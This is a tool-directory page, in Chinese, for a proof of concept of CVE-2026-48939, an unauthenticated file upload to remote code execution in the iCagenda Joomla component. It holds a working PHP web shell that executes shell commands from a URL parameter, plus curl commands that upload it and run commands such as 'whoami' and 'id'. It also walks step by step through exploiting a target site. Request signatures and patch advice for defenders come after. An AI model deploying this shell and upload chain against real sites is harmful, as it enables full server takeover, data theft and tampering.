Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
By-Poloss..-..CVE-2026-48939 — iCagenda Unauthenticated File Upload to RCE | Kitploit
工具/GitHubGitHub/polosss/by-poloss..-..cve-2026-48939
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubpolosss/by-poloss..-..cve-2026-48939

By-Poloss..-..CVE-2026-48939

iCagenda Unauthenticated File Upload to RCE

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
111个月前尚未审核

CVE-2026-48939 - iCagenda 未认证文件上传导致 RCE

概述

字段值
CVE IDCVE-2026-48939
CVSS 4.0 评分10.0 严重
CVSS 向量CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-284:访问控制不当
受影响版本iCagenda 3.2.1 - 3.9.14 及 4.0.0 - 4.0.7
修复版本iCagenda 4.0.8 及 3.9.15
发布时间2026年6月20日

漏洞描述

iCagenda 是 Joomla 的一个热门活动与日历组件,其中存在一个未认证文件上传漏洞,允许远程攻击者在 Joomla 6 站点上上传并执行任意 PHP 代码。

技术细节

该漏洞存在于前端活动提交表单的文件附件功能中:

  1. 缺少访问控制:提交端点(index.php?option=com_icagenda&task=registration.submit)未强制实施身份验证,从而绕过了“仅限注册用户”的访问设置。

  2. 无文件验证:上传的文件以其原始扩展名保存,且不进行:

    • 扩展名白名单验证
    • MIME 类型验证
    • 文件内容检查
  3. 直接写入文件:文件被直接写入 Web 根目录下的 /images/icagenda/frontend/attachments/[filename]。

  4. PHP 执行:在 Joomla 6 上,上传的 .php 文件可被执行,从而导致远程代码执行(RCE)。

概念验证(PoC)

方法一:使用 curl(单条命令)

root@kitploit:~
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

方法二:使用 PoC 脚本

root@kitploit:~
# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

利用步骤

  1. 识别易受攻击的端点:

    root@kitploit:~
    https://target.com/index.php?option=com_icagenda&task=submit
    
  2. 上传 PHP Web Shell:

    root@kitploit:~
    curl -X POST -F "jform[attachment][email protected]" \
      "https://target.com/index.php?option=com_icagenda&task=submit"
    
  3. 执行 Shell:

    root@kitploit:~
    curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
    

影响

  • 机密性:机密性完全丧失——攻击者可读取所有文件
  • 完整性:完整性完全丧失——攻击者可修改所有数据
  • 可用性:可用性完全丧失——攻击者可拒绝服务
  • 远程代码执行:服务器被完全攻陷

攻击特征

基于真实世界的利用日志,攻击特征如下:

root@kitploit:~
# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

修复建议

  1. 立即:将 iCagenda 更新至 4.0.8 版本(旧分支请更新至 3.9.15)
  2. 替代方案:暂时删除或重命名 com_icagenda 文件夹
  3. 注意:取消发布该组件并不能防御此漏洞

参考资料

  • iCagenda 零日 RCE - mysites.guru
  • iCagenda 官方网站
  • 更新日志 4.0.8
  • CISA ADP 公告

免责声明

本 PoC 仅用于教育和授权的安全测试目的。未经授权访问计算机系统属于违法行为。

下载工具